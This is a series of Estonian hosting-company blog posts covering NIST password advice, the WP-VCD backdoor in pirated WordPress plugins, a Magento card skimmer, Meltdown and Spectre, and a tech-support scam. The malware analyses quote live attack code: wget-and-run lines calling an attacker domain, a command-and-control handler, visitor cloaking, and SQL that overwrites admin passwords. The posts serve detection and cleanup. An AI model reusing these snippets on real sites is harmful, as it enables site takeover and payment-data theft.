Ära seda soovitust jälgi: täna on rahvusvaheline paroolivahetamispäev

Tõepoolest, väidetavasti on 1. veebruar “change your password day” ning seega äärmiselt sobilik hetk rääkida … tõsiselt halbadest infoturbe-nõuannetest.

Me oleme paroolidega seotust kirjutanud korduvalt: nt Hasso pikem lugu Veel kord paroolidest, siis täpselt seal välja toodud halva parooli-nõuande kasutamise tulemusest Nõrgast paroolist häkitud WordPressini 42 katsega ja loomulikult rahvusvahelise mõõtmega “Paha Panda” varastab postkaste.

Häid nõuandeid jagab aga NIST, mille “Special Publication 800-63B” võtab arvesse seniste parooli-reeglite tekitatud ebaturvalised käitumismustrid. Võid selle spikriks kõrvale võtta ja proovida vastata küsimusele:

Millised järgnevatest EI OLE NIST’i nõuded turvalisele paroolile?

(õiged vastused postituse lõpus)

  1. peab olema vähemalt 10 märki pikk
  2. peab olema vähemalt 8 märki pikk
  3. peab olema vähemalt 6 märki pikk, võib koosneda ainult numbritest
  4. peab sisaldama suur- ja väiketähte, numbrit, märki
  5. peab vähemalt X kuu järel vahetama
  6. ei tohi olla sama, mis viimased X parooli
  7. parooli või kasutajanime sisestamise lahtris ei tohi toimida copy ja paste
  8. ei tohi sisaldada nime, järjestikuseid märke, levinud salasõnu

Kasutasin seda nimekirja just turva-teemalisel esinemisel ja tuleb tunnistada, et paljud kuulajad noogutasid täpselt valede kohtade peal. Põhjuseks see, et IT-osakonnad jõustavad endiselt iganenud reegleid ning neid tirazeeritakse endiselt nii paberil kui digitaalses meedias.

Milline on siis hea ja milline halb reegel?

Hea parooli-nõue on selline, mis ei koorma liigselt kasutajat ning ei sunni teda ebaturvalisele optimeerimisele – inimene pole rumal, küll aga evolutsiooniliselt harjunud leidma kõige tõhustamat teed seatud eesmärgi saavutamiseni. Samas peaks see reegel aitama infosüsteemide arendajatel ja haldajatel meid kaitsta.

Näiteks – selleks, et parooli ei saaks N korda proovides ära arvata, peaks rakendus suutma sellist rünnet tuvastada ja takistada (konto ajutiselt lukustama), ent samas vältida teenustõkestusrünnet läbi kontode lukku ajamise.

Levinud tavad nagu sage vahetamine ja keerukusnõuded annavad aga soovitule vastupidise tulemuse: kasutaja lisab sõnale mõne numbri ja märgi ning siis suurendab sammhaaval numbrit või kasutab selleks aasta-arvu.

Kaks reeglit, mille puhul tasub viidata sellel blogipostile:

  • märgi-põhised keerukusnõuded
  • parooli kohustuslik vahetamine iga X ajavahemiku järel (aga: NIST nõuab vahetamist juhul kui  on kahtlus, et see on lekkinud)

3+2 lihtsat reeglit, mida järgida

  • salasõna asemel räägime sala-fraasist – veidi pikem isekomponeeritud liitsõna või sõnamäng/kalamburism on väga hea (jalgpallisupikulp, lumehangumine, vt insipratsiooni twitter.com/keitivilms)
  • ära kasuta sala-fraasis enda või kasutuskoha nime, levinud (sala)sõnu (Passw0rd!, kalamaja) ja järjestikuseid märgijadasid (q1w2e3r4)
  • oluliste teenuste jaoks (töökoha kasutajakonto, e-post, sotsmeedia) kasuta unikaalset sala-fraasi

Sellega on 98% tööd tehtud, kaks veidi suuremat pühendumist nõudvat soovitust on aga veel:

  • lülita olulistes teenustes (e-post, sotsmeedia) sisse kaheastmeline autentimine (2fa ehk two-factor authentication – nt SMSiga saadetav turvakood)
  • kasuta parooliseifi (LastPass, 1Password, KeepAss) unikaalsete paroolide loomiseks ja haldamiseks, pea meeles ainult üks tugev ehk seifi sala-fraas

Viimase punkti juurde vihjeks, et KeePass on täiesti tasuta ja LastPassis saab erakonto teha tasuta (ja kui su tööandja peaks LastPassi ametlikult kasutusele võtma saad era- ja töökontole ligi ühe sisselogimisega – seejuures mõistagi nii, et tööandja EI SAA sinna ligi 🙂

Ja lõpuks…

See paroolivahetuspäev on Gizmodo klikimeelitustrikk aastast 2012, seeria viimane lugu kannab muideks pealkirja Don’t Change Your Password ning jõuab umbes samade soovitusteni ehk “ära vali lolli parooli”.

Kui su IT-osakond Gizmodot adekvaatseks allikaks ei pea, siis olgu öeldud, et maikuus on tulemas World Password Day ning TheRegister on selle kokku võtnud pealkirjaga It’s World (Terrible) Password (Advice) Day!


Õige vastus – NISTi nõuded EI OLE 1, 4, 5, 6, ja 7.

WP-VCD ehk eelpaigaldatud pahavaraga “tasuta” pluginad ja teemad

Kui sa kauba eest ei maksa, siis oled kaup sina ise. Või sinu arvuti. Või sinu veebileht.

Hetkel on meie juures üle 70 WordPressi-saidi, mis omaniku tahte vastaselt külastajaid erinevatele saitidele edasi suunavad. Põhjuseks “tasuta kohast” saadud tasuline plugin või teema … millega käib kaasas pahavara ehk täpsemalt öeldes tagauks.

Külastaja vaade

Toimub see kõik umbes nii:

  • külastaja saabub otsimootori kaudu veebilehele;
  • veebilehe koodi sokutatakse viited mujal asuvatele skriptidele;
  • kasutaja brauseris käivitatud skript jääb ootama esimest klikki…;
  • … ja avab uue brauserisaki, kus kuvatakse reklaami;
  • ühtlasi salvestatakse brauserisse küpsised, mis mõeldud reklaami efektiivsuse mõõtmiseks ja tagavad ka selle, et ta saaks soovitud veebis mõnda aega segamatult klikkida.

Reklaamini jõuab kasutaja läbi mitme edasisuunamise, näiteks minule pakuti testis laen[.]ee ja olybet[.]ee saite, esimeseks sammuks mõlemal puhul cobalten[.]com:

Veebiomaniku vaade

Minule monitooringus silma hakanud saitide puhul on pahavaraks WP-VCD, mille paigaldus-skript sisaldub enamasti class.plugin-modules.php või class.theme-modules.php nimelises failis, mis on lisatud “nullitud” (nulled) ehk sisuliselt piraaditud tasulisele pluginale või teemale:

<?php if (file_exists(dirname(__FILE__) . '/class.plugin-modules.php')) include_once(dirname(__FILE__) . '/class.plugin-modules.php'); ?>

Ääremärkus: kuna WordPress ja teemad on GPL litsentsiga vaba tarkvara, siis juriidiliselt ei ole nende kopeerimine piraatlus sest ainus asi mille eest raha küsitakse on uuendused, teemade puhul ka eraldi autoriõiguse all olev kujundus. Aga kuna antud puhul toimub sinu veebi ülevõtmine piraatide poolt, siis otsustasin kasutada nimelt seda sõna.

Golce & Dabbana? Roolex? Sir! I haz very good price, only original fakes!

See kood korraldab pahavara laiema paigalduse, nii näeb see välja pahavaraga WPML puhul:

2018-04-08 14:43 - ./wp-content/plugins/sitepress-multilingual-cms/inc/class.theme-modules.php
2018-04-08 14:43 - ./wp-content/themes/Avada-Child-Theme/functions.php
2018-04-08 14:43 - ./wp-content/themes/Avada/functions.php
2018-04-08 14:43 - ./wp-content/themes/twentyfifteen/functions.php
2018-04-08 14:43 - ./wp-content/themes/twentyseventeen/functions.php
2018-04-08 14:43 - ./wp-content/themes/twentysixteen/functions.php
2018-04-08 14:43 - ./wp-includes/wp-vcd.php

Ehk siis /wp-includes/wp-vcd.php saab oma sisuks paigalduskoodi ning selle käivitamiseks vajalik include läheb WP osaks oleva /wp-includes/post.php algusesse … ning class.theme-modules.php tehakse kenasti tühjaks, sealt ei tohiks hiljem vaadates enam midagi kahtlast märgata.

Lisaks paigaldatakse kõigi leitud teemade functions.php faili kood, mis võimaldab edaspidi lihtsalt muuta command & control serveri domeeninime … ning saadetakse ülevõetud serveri andmed peremehele:

if (isset($_REQUEST['action']) && isset($_REQUEST['password']) && ($_REQUEST['password'] == 'xxxxxxxxx'))
  {
$div_code_name="wp_vcd";
    switch ($_REQUEST['action'])
      {
        case 'change_domain';
          if (isset($_REQUEST['newdomain']))

Edaspidi märkab vaid kahe faili muutumist:

2018-07-28 00:07 - ./wp-includes/wp-tmp.php

2018-07-19 11:41 - ./wp-includes/wp-feed.php

wp-tmp.php failis hoitakse koodi mida peremees veebis kuvada soovib, nt:

<script type="text/javascript" src="//go.onclasrv[.]com/apu.php?zoneid=1635111"></script>
<script async="async" type="text/javascript" src="//go.mobisla[.]com/notice.php?p=1635222&interactive=1&pushup=1"></script>
<script src="//pushnest[.]com/ntfc.php?p=1662333" data-cfasync="false" async></script>

… ning wp-feed.php sisaldab adminnina sisse loginud kasutajate IP-aadresse – nii väldib pahavara seda, et saidi tegelik omanik kogemata reklaami näeks (lisaks läheb brauserisse ka vastav küpsis):

146.255.1xx.xxx
146.255.1xx.xxx
95.161.2xx.xxx
194.150.6x.xxx
146.255.1xx.xx

Ja kui siis veebi tuleb külastaja mõnest otsimootorist:

$ref = $_SERVER['HTTP_REFERER'];
$SE = array('google.','/search?','images.google.', 'web.info.com', 'search.','yahoo.','yandex','msn.','baidu','bing.','doubleclick.net','googleweblight.com');
foreach ($SE as $source) {
  if (strpos($ref,$source)!==false) {
    setcookie("sevisitor", 1, time()+120, COOKIEPATH, COOKIE_DOMAIN); 
	$sevisitor=true;
  }
}

… pannakse skriptid lehesappa ning märgitakse ta kaheks tunniks “ära reklaamituks”.

Kuidas kontrollida?

Kuna pahad skriptid saavad kuvatud ainult juhul, kui tuled otsimootorist ja ei ole varem sama IP või brauseriga olnud adminnina sisse logitud… siis:

  • kui oled adminnina varem sisse loginud – siis kasuta mobiiltelefoni internetti või mõnda wifi-võrku
  • ava Google Chromes inkognito aken, tee hiirega paremklõps ja vali “Inspekteeri” (pärast võib ka see liigutus reklaami avada)
  • googelda oma domeeni, siirdu lehele
  • vaata inspektori Elements vaates lehe jaluses olevaid skripte… või proovi klikkida oma veebis suvalisse kohta ja vaata, kas satud kuhugi, kuhu ei plaaninud sattuda

Loomulikult võib ka vaadata FTPga serverisse – kui leiad /wp-includes/wp-vcd.php faili, siis on tegemist täpselt siinkirjeldatud pahavaraga.

Koristaja vaade

Kuna ainus turvanõrkus on (loodetavasti) see piraat-teema või -plugin ning serveris toimuva muster näib olevat ühetaoline, ei tohiks puhastamine olla ülearu keeruline:

  1. leia üles probleemne teema või plugin ja asenda see ametliku, puhta versiooniga (jah, see maksab raha – sest kellegi jaoks on selle valmistamine ja värskena hoidmine töö) – otsi class.plugin-modules.php või class.theme-modules.php nimelist faili
  2. kustuta ära kõik kasutusel MITTE olevad teemad ja pluginad (lihtsam puhastada)
  3. eemalda /wp-includes kataloogist wp-feed.php, wp-tmp.php ja wp-vcd.php; post.php algusest eemalda include käsk
  4. käi üle teema(de) functions.php failid ning eemalda nende algusest kahtlane kood
  5. vaata igaks juhuks ctimer.php abil ega mõnda muud faili näpitud ole
  6. turvakaalutlusel võiks ära vahetada ka: andmebaasiparooli, WP kasutajate paroolid ning wp-config.php‘s olevad soolad
  7. … ning kui juba veebis oled, siis uuenda ära ka WP ja kõik pluginad-teemad (ning vii veeb HTTPS peale + vaheta PHP versioon värskeima toimiva vastu – ilmselt 7.1 või 7.2)

Kui koristamistegevus keeruline tundub, siis kirjuta info@zone.ee, maini WP-VCD probleemi ja telli meilt puhastustöö (mõnede levinumate pluginate nagu WPML puhul on meil olemas arendaja-litsents ja saame need kenasti ametlike/legaalsetega asendada, vähemlevinud pluginate puhul lisandub nende hind tööaja hinnale).

Magento ja krediitkaardivarastaja (ja andmekaitse üldmäärus)

Veebipood on küberkurjategijatele hea koht väärtusliku info kogumiseks, sest sinna sisestavad kasutajad nii aadressi kui ka makseinfo. Piisab süütuna näivast skriptist, et ostu vormistamisel sisestatud info “kuhu vaja” edasi saata.

2016. aasta sügisel said mitmed Magento e-poed täpselt sellise pahavaraga pihta, Eestis oli nende hulgas näiteks Jysk. Monitoorides Zones majutatud veebe, hakkas mulle täna silma sarnane skript, mida laetakse näiliselt Magentoga seotud domeenilt (pikem nimekiri kasutusel olnud domeenidest Willem de Groot’ilt):

<script type='text/javascript' src='https://magentocore[.]net/mage/mage.js'></script>

Skript näeb aga välja üsna kahtlane ja esmamuljet kinnitab ka Virustotal:

jsnice.org teeb selle veidike loetavamaks:

Punased stringid viitavad chekout-vormi väljadele nagu krediitkaardinumber, kehtivus ja arveaadress ning need saadetakse kenasti magentocore[.]net aadressil asuvale vormile edasiseks ärakasutamiseks.

Ääremärkus: enamus Eesti e-poode kasutab makselahendusena õnneks välist teenust ja krediitkaardiandmete sisestamine toimub mujal. Küll aga olen näinud ka poode, mida see probleem võiks puudutada. Täna leitud poed said juba ka isiklikult e-posti teel teavitatud.

Ääremärkus 2: … aga kurjategijad on poes sees ja isegi juhul, kui ei varastata krediitkaardiandmeid, siis on neil ligipääs kasutajate isikuandmetele ehk andmekaitse üldmääruse (GDPR) mõttes on tegemist vähemalt potentsiaalse isikuandmete lekkega.

Mis mulle aga eriti meeldis ühe täna leitud häki juures, oli muudatus cron.php’s ehk failis, mida süsteem iga 5 minuti takka käivitab:

shell_exec("wget -c https://magentocore[.]net/clean.json -O ./app/code/core/clean.php 2>&1");
shell_exec("wget -c https://magentocore[.]net/clear.json -O ./app/code/core/clear.php 2>&1");
shell_exec("php ./app/code/core/clean.php 2>&1");
shell_exec("php ./app/code/core/clear.php 2>&1");
unlink('./app/code/core/clean.php');
unlink('./app/code/core/clear.php');

Ehk siis perioodiliselt laetakse alla ja käivitatakse mingit koodi. Mida see teeb? Mõlemad otsivad üles Magento andmebaasi-konfiguratsiooni ning siis teevad seal järgmist:

  • clean.php otsib konfiguratsioonitabelist (võõraste?) skriptide signatuure ja kustutab need ära (olgu öeldud, et skriptid on paigaldatud Magento adminnis oleva päise- ja jaluseskriptide seadistuse kaudu):
mysqli_query($link, "delete from " . $db_prefix . "core_config_data where value like '$sing'");
  • clear.php aga muudab ära hulga (teiste ründajate loodud?) admin-kasutajate paroolid:
$users = array('1','1468177885','1470303373','a','aborman','acid','admin01','admin1','admin123','admin5','adminhendra','adminnew','adminray','admins','adminu','admin_bfei','admin_ihfb','afletcher','ajen','alexgvn123','alif','ameendering','Ameliaaa','an','anin48','anjeng','anjeng12','Anr_01','ardyan','as','asdasd','astroeh','asu123','asuasu','asulan123','Audi','azer','aziz','Backup','backup_35f69d','badcc','bangsat','berandal','bgades','bgross','biji','bschlotter','bwilson','c0krek','cahyodp','camuv1653','casa','cbaker','cecun','cevans','cgcf','cgreenfield','cknobloch','clayser','ClayX404','cmorgan','coco','codex','coq','cruis','cvanstryland','cwarton','d','dalexander','ddoine','Death','dede','dedeganteng','default123','defaults','defaults01','defaut123','design','developer','dhsjcsc','diablox','Dian2206','dkelly','dlc','dmorgan','dpender','dsacks','dstefan','eCommerce','edorr','ehooser','einlow','ejameson','ekennedy','erik','erobinson','eznt@i.ryanb.com','family','faqih212','FathurFreakz','ferdi123','fikrihaikal35','forme','frozen404','fwilde','geizkayusuf','gfd','ggrav','ghaz','gigihmhd','gladz','gmr','golix19','GolixGates1','google','gustaman','haydar','haydra','hell','hiddenymouz','hornetto','hunter2','hydro','Hysoka','i','ibizta','iko','indoxploit','iniadmin','irfan','jaja','jancok','jancoks','janderson','jayzweed','jbonnell','jdragovich','jefri','JelexCrew','jengel','jhemphill','jhogan','jhult','jmartin','jockerdz','jonson','jtappe','juancok','katon','kedaong','kehise','kenta','khise','khoogers','kimak','kimyounsin','king','kkruger','kmagnan','knap13','knelson','Kontol900!','kotack','kuyas','kwwilliams','kwynia','lalapo123','LastTouch','lluethje','localsystem','Loic','lthummagunta','lucu','m4tr1x','madmax','maganeto','magento','magento1','mageplas','magsupport','malang','manggo','manick','masthio01','mcopa','meldred','Memekl3g17','mgonzalez','mind','mlaudenbach','mlomo','momo','moza','mperry','mranupak','mrsakso','msas','msf','msivalingam','mtrudell','mturico','mwaldner','mwelbig','mwendt','nathan','nbrouwer','ncastelli','neqyns13','ngentod','ngentot123','nmccray','nnordman','noob','novara','nrussell','nzero','o','omyo123','ouni','owadmin','pak','paypal','pbk7695K@','penggunalayanan','pikri','policy','pujasucipto','putra7695K','r0cky','rami','rctioke7','rcummings','rdewolfe','restuser','revian29','rezafirdaus','rezafirdaus21','rhaan','Rieqy','rieqyns13','rkm48','rmiller','robert','Root','rseeker','s','sadmin','samikom','sav.admin','saz','sdunham','semprol','sgood','sgoodman','shansen','shayer','sheinz25','Shor7cut','Sihdaunix','sjohnson','slackerc0de','slamusga','smolix','soliro','ss123','staff.developer','stores','stupid','Support','surya','surya1','svandenheuvel','swhite','sysadm','sysadmiin','sysadmin','sysadmin1','sysmon','system32','systemadmin','systembackup','T1KUS90T','tadamec','tae','tamedeo','tanderson','task','teastmond','telgersma','terserah','tesdar','test','tfgh','Thole129','tomhawk','training','tvanhouten','ubehera','ui','upel666','uSer','VHiden133','vpotter','wajixz','wawa','wew','ybickham','youmisscry','ywigaraa','zadmin','zaz','ziko','zxc','zxcyou636','_admin','gogle','Nexcess');

$users_password = "how1are2you3";
[.....]
mysqli_query($link, "update " . $db_prefix . "admin_user set password='$hash' where username = '$u'");
[.....]

Olgu öeldud, et how1are2you3 saab ka prefiksi ja sufiksi, nii et päris selle näite varal pole mõtet hakata samal moel häkitud saite läbi proovima 🙂

Vaatame parem admin-kasutajate tabelisse:

Nagu näha, on äsja lisatud uusi kasutajaid … ning ka olemasolevate kasutajate – sh saidi omaniku, admini ja arendaja omad, on muudetud samaks viimase ründaja omaga, sest parooli-räsid on samad (algusega af… on seejuures lihtsalt ühe lisatud kasutajanime räsi).

Kuidas see küll võimalik saab olla? Hold my beer while I call Magereport!

See on nüüd küll demonstratiivselt mage raport – paigaldamata on isegi 2015 suvel väljastatud turvapaigad… ma ei hakka isegi oletama, et millise kaudu neist täpselt sees käiakse.

Ülejäänud asjaomastest saitidest leitud tagauksed olid üsna igavad ning neid ei ole mõtet siinkohal esitleda.

Kui satud sellist saiti puhastama, siis:

  • uuendused, uuendused, uuendused;
  • leia üles ja eemalda tagauksed (ei pruugi olla kerge töö, sest tõenäoliselt trallib seal juba eiteamitmes kuritegelik seltskond);
  • vaata üle adminnkasutajad, eemalda kahtlased, reseti allesjäänute paroolid;
  • vaheta SQL paroolid – jagatud serveri puhul piisab kurjategijal muidu ligipääsust phpMyAdmin’ile, et endale jälle sobiv adminniparool seada…

Meltdown ja Spectre ehk kuidas bittidega spekuleerida ja võõras mälus sobrada

Saabunud aasta algas IT-inimestele korraliku üllatusega – 3. jaanuaril jõudis avalikkus ette info, et protsessoritest on avastatud turvaprobleemid, mis võimaldavad sõltumata kasutatavast opsüsteemist pahatahtlikel tegelastel saada ligipääs andmetele, millele nad kuidagi ligi saada ei tohiks.

Kuigi alguses oli jutt peamiselt Inteli protsessoritest, sai peagi selgeks, et ka teiste tootjate protsessorid on probleemist mõjutatud, kuigi oluliselt vähem kui Inteli toodetud.

Üldise meeleolu illustreerimiseks sobib kenasti video terasetehasest. Meie püüame olla need tegelased lõpukaadritest, kes paanikasse ei satu, toimuvat dokumenteerivad ja rahulikult tagajärgedega tegelemiseks valmistuvad 🙂

Nagu tänapäeval tavaline, said turvaprobleemid oma tavapärastele CVE numbritele lisaks nime, veebilehe jpms. Peamiselt ainult Intelit puudutav probleem sai nimeks Meltdown (CVE-2017-5754) ja kaasaegsete protsessorite enamust puudutav probleem on Spectre, millel on kaks variatsiooni (CVE-2017-5753 ja CVE-2017-5715).

Kui üritada seda ühe lausega öelda, siis mõlema näol on tegemist on nõrkustega, mis võimaldavad pahatahtlikel rakendustel spekulatiivselt koodi käivitatavate protsessorite disainiprobleeme ära kasutades lugeda seadmetes külgkanalründe abil mälu, millele nad tegelikult ligi pääseda ei tohiks. Kuidas saab protsessoris üldse selliseid vigu olla ning millega täpsemalt tegemist, on jäänud paljudele arusaamatuks.

Sõnad “külgkanalrünne protsessori spekulatiivse käivitusse realisatsioonide vastu” ei tee enamusele asja oluliselt selgemaks, kuid neile, kes huvi tunnevad, on postituse lõpus lihtsustatud kokkuvõte probleemi olemusest. Kõik, kel jõud ja mõistus üle käib, peaksid kindlasti läbi lugema probleemid avastanud teadlaste originaalartiklid.

Mida siis nende probleemide tõttu tegelikult teha saab?

Praktiliselt ainult Inteli protsessoreid puudutav Meltdown on kahest probleemist tõsisem – kui pahatahtlik rakendus saab seadmes ennast käivitada, siis sellest piisab, et kogu operatsioonisüsteemi tuuma kasutuses olevat mälu maha lugeda. Lugemine ei toimu küll eriti kiiresti, kuid piisavalt, et sellest edasiseks ründeks ära kasutatavaid andmeid (paroolid, krüptovõtmed jms) leida. Probleemi on võimalik vältida tarkvaraliste vahenditega ja tänase päeva (15.01.2018) seisuga on kõik peamised operatsioonisüsteemid (Windows, MacOSX, iOS, Linux, Android) ka turvapaigad väljastanud.

Spectre võimaldab pahatahtlikul rakendusel lugeda nii operatsioonisüsteemi tuuma kui ka teiste rakenduste mälu, kuid selle ära kasutamine on oluliselt keerulisem. Selleks ei piisa lihtsalt koodi käivitamisest – see eeldab ka konkreetsete ära kasutatavate koodimustrite olemasolu operatsioonisüsteemi tuumas või teistes rakendustes. Keerukam on ka Spectre mõjude kõrvaldamine ning see võtab veel aega. Üks Spectre variatsioonidest on ilmselt suhteliselt lihtsalt lahendatav operatsioonisüsteemi tuuma tasemel, kuid teise vastaste meetmete otsing veel käib. Praegu olemas olevad lahendused on väga kulukad – kas kannatab jõudlus väga palju või peaks kõik seadmetes olevad rakendused uue kompilaatoriga ringi kompileerima.

Arusaadaval põhjusel on eelkõige ohustatud keskkonnad, kus kasutajad saavad vabalt koodi käivitada – eelkõige jagatud serverid ning virtuaalmasinate keskkonnad. Virtuaalmasinate puhul võimaldavad need nõrkused kasutajal ka ennast virtuaalmasinast välja murda – lugeda hüperviisori ja teiste virtuaalmasinate mälu. Kuid ohus on ka kõik tavalised tööjaamad – probleeme uurinud eksperdid on tõestanud, et rünnak toimib ka JavaScripti kaudu. Praeguseks on kõik suuremad brauserid rakendanud meetmed, et veebi kaudu probleemide ära kasutamine oleks vähemalt hästi keeruline.

Suhteliselt pessimistliku kirjelduse peale tekib kindlasti küsimus, et kuhu poole nüüd paanikas jooksma peaks ja mida tegema? Ja miks see üleüldse nii kaua aega võtab?

Üks on selge – protsessoreid välja vahetama ei hakka ei Intel ega ka ükski teine tootja ning nendest probleemidest vabad protsessorid jõuavad meieni ilmselt alles järgmisel aastal. Kuid rahu, ainult rahu. Probleemid on vaatamata tõsidusele protsessoritootjate abiga tarkvaras lahendatavad ning kõigi arenduses olevate operatsioonisüsteemide arendajad on praegu ametis. Aega võtab see ka selle pärast, et olukord on väga paljudele uus – tarkvara ja riistvara tootjad peavad tegema koostööd ja üksteist ka usaldama. Ma olen kindel, et tsivilisatsioon ei kuku veel selle pärast kokku, kuid turvapaikade operatiivne paigaldamine on olulisem kui kunagi varem. Nagu juba eespool öeldud, on Meltdown praeguseks juba suuremates opsüsteemides paigatud ning kui sul on uuemad turvapaigad seadmetes, oled sa tõenäoliselt selle vastu juba kaitstud.

Oluline on ka mõista, et kui ründajal pole seadmes võimalik koodi käivitada, otsest ohtu pole. Mis ei tähenda muidugi seda, et esimesel võimalusel uuendamist siiski ette võtma ei peaks – Meltdown ja Spectre võivad olla osa keerulisemast ründest, kus mingi teise turvaprobleemi tõttu saavutatakse kõigepealt koodi käivitamise õigus.

Kuidas Meltdown ja Spectre Zone servereid mõjutavad?

Nii Virtuaalserverite kui Pilveserverite puhul jagab hulk kliente sama riistvaralist serverit ning turvaprobleemid, kus ühe kliendi serveris jooksev kood võib mõjutada teisi, on meie jaoks kõrgeima prioriteediga. Tänaseks on Zone serverid Meltdowni vastu kaitstud – enamus juba 06-08.01 nädalavahetusel.

Küll aga tuletame meelde, et Pilverserver PRO kasutajad peavad oma virtuaalmasinate kernelite uuendamise eest ise hoolt kandma (Pilveserver VPS kernelid uuendasime 07.01 varahommikul).

Meie tehnikud jälgivad sündmuste arenguid ja paigaldavad parandused ka Spectre vastu niipea kui võimalik. Võimalik, et selleks on vaja veel üht erakorralist hooldusakent.

Kas Meltdown’i paikamine mõjutas ka serverite töökiirust?

Paikade mõju sõltub rakendusteks, aga tavapärase veebirakenduse puhul on meie seninsed testid näidanud, et muutus on pea olematu. Tegime oma koormustestiks kasutatava WordPress+WooCommerce+WPML+Flatsome näidisrakendusega teste ning uurisime rakenduse tasemel monitooringus olevate veebide käitumist ning mingit mõõdetavat erinevust ei tuvastanud.

Küll aga on muutus näha Pilveserver VPS protsessori-aja kasutuses. Sellel pildil on üks hardware node, kus ilmselt VPSides jooksvate rakenduste eripärast lähtuvalt on syscall’ide osakaal märkimisväärne ja kasvab ca 2% pealt ca 10% peale:

Kuna enamikul ülejäänutest oli kasv oluliselt väiksem, tasub rakenduse töökiiruse muutumisel vaadata üle kõik syscall’e põhjustav ehk ennekõike IO, sh andmebaasikasutus. Selle osa optimeerimine on mõistlik ka ilma Meltdown ja Spectre paikade negatiivse mõju peale mõtlemata.

Trivialiseeritud Meltdown ehk “Kuidas lugeda võõrast mälu?”

Probleemide olemuse mõistmine pole tegelikult ühelegi programmeerimisega kokku puutunule üle jõu käiv, kuid illustreerib väga hästi külgkanalründe olemust. Alljärgnev on kõvasti lihtustatud versioon Meltdown probleemist. Kõigepealt räägime pisut kaasaegse protsessori tööst.

Kaasaegsed protsessorid on kiired, kuid mälust lugemine ja sinna kirjutamine ca 100x aeglasem. Et protsessor mälu taga pidevalt ootama ei peaks, on protsessoritel varuks hulga trikke, millest olulisimad on spekulatiivne käivitamine ja vahemälu.

Kui arvutitunnis räägiti teile, et protsessor käivitab ühe käsu teise järel, siis tänapäeval ei vasta see tihti enam tõele. Kuna protsessorid on mälust nii palju kiiremad, üritavad nad juhul, kui neil midagi targemat teha pole, järgmiseks käivitatavaid programmi harusid ette aimata ning selle töö ka igaks juhuks ette ära teha. Kui peaks juhtuma, et tõenäoline stsenaarium siiski ei realiseerunud, unustatakse see igaks juhuks ette tehtud töö tulemus lihtsalt ära. Kuna spekulatiivset tööd tehakse protsessori “vabast ajast”, ei muuda see midagi aeglasemaks, kuid kui stsenaarium realiseerub, on kiirusevõit oluline.

Võtame näiteks alltoodud veebilehe vaatamise pseudokoodi. Lehe kerimine on veebilehel oluliselt tõenäolisem sündmus kui lingile vajutamine ning protsessoril on kasulik see alati ette ära teha, isegi kui kasutaja veel kerimise liigutust teinud pole.

kui (kasutaja kerib lehte alla) {
  liigu rida allapoole;
} vastasel juhul kui (vajutatakse lingile) {
  liigu uuele lehele;
}

Sellisest spekulatiivsest käivitamisest poleks iseenesest aga väga palju kasu, sest suure tõenäosusega vajavad ka need käsud mälu poole pöördumist. Selle vältimiseks on protsessorites endis olemas hästi kiire vahemälu, kus hoitakse hiljuti kasutatud või sagedamini vaja minevaid andmeid neid mälust sinna portsu kaupa laadides. Kui protsessor vajab käsu täitmiseks andmeid mälust, laaditakse need vahemällu, kuhu need jäetakse ka pärast käsu täitmist – igaks juhuks, äkki läheb vaja.

Nüüd on meil olemas kõik põhiteadmised, et mõista alljärgnevat pseudokoodi. Pahatahtlik häkker soovib teada saada mis on mäluaadressi 0x200 vähima kaaluga biti väärtus. Rakendus ei saa seda mäluaadressi otseselt lugeda, kuid ta saab kirjutada sellise programmi.

kui (tingimus) {
  kui (aadressil 0x200 on 1) {
    loe väärtus aadressilt 0x800;
  } vastasel juhul {
    loe väärtus aadressilt 0x900;
  }
}
loe väärtus aadressilt 0x800;
mõõda eelmise käsu täitmiseks kulunud aeg;
loe väärtus aadressilt 0x900;
mõõda eelmise käsu täitmiseks kulunud aeg;

Protsessor täidab spekulatiivselt tingimuslaused ja kuigi selle käigus toimub lugemine aadressilt 0x200, millele pahatahtlik rakendus ei tohiks ligi saada, on see esmapilgul ohutu, sest protsessor on disainitud nii, et rakendus lõpetaks töö kohe, kui „tingimus“ peaks tõeks osutuma ja enne, kui 0x200 aadressilt lugemine rakenduseni reaalselt jõuaks. Sellel spekulatiivsel tingimuslausete täitmisel on aga kõrvalefekt – kas 0x800 või 0x900 aadress laaditakse protsessori vahemällu. Kui nüüd pärast seda mõõta 0x800 ja 0x900 aadresside lugemiseks kuluvat aega, on meil võimalik järeldada kas kumbki neist oli juba protsessori vahemälus olemas (kiire) või tuli seda mälust lugemas käia (aeglane) ning sellest järeldada aadressil 0x200 asuva biti väärtuse.

Tegelikult on probleemide olemus ja ära kasutamine muidugi märksa keerulisem, kuid põhimõte on just nii lihtne – pahatahtlik rakendus saab aja mõõtmise abil järeldada mis väärtused on mäluaadressidel, millele ta muidu ligi ei pääse. Kuna mäluaadresse otse ei loeta, vaid seal leiduva kohta tehakse järeldusi käskude käivitamiseks kulunud aega mõõtes, nimetataksegi selliseid ründeid külgkanalrünneteks (inglise keeles side-channel attack).

Tehnilise toe pettus ehk “Appi! Minu arvutisse tungisid häkkerid!”

Küberpättide erinevatest viisidest netikasutajate võrkudesse ja arvutitesse tungimisest ning nende ülevõtmistest võiks ilmselt kirjutada riiuleid täitvaid raamatuid. Tänu netitarbijate küberohuteadlikkuse üleüldisele paranemisele oleme aga üha enam hakanud saama kirju, kus kasutaja on pettusest aru saanud ja tahaks sellest kellelegi teada anda.

Täna keskendume ühele sedasorti skeemile, mis on tuntud kui “Microsofti klienditoe pettus”. Liimile lennanud ja seeläbi oma arvuti üle kontrolli kaotanud kasutajatelt nõutakse kompuutri “puhastamiseks” kopsakaid summasid või lausa lunaraha. Ja kui ohver ei maksa, siis hakkavat tema arvuti ohjeldamatult pahavara, viiruseid ning muud jama levitama.

Järgnev on ühe meie kliendi pöördumine, mis kirjeldab toimunu põgusalt ära. Ta oli lahkesti nõus oma kogemust meie lugejatega jagama, et aidata sellega ära hoida sarnaseid lõksulangemisi tulevikus.

Juhtus selline asi, et internetis surfamise ajal mu arvuti äkki blokeerus, tulid ette mingid kastikesed ja inglisekeelne hääl, mis ütles, et minu arvutisse püüdsid just häkkerid sisse murda, et arvuti on suures ohus jne. Mul ei õnnestunud liikuda ei edasi ega tagasi, panin vahepeal arvuti kinni, aga lahti tehes oli ikka seesama jama ees.

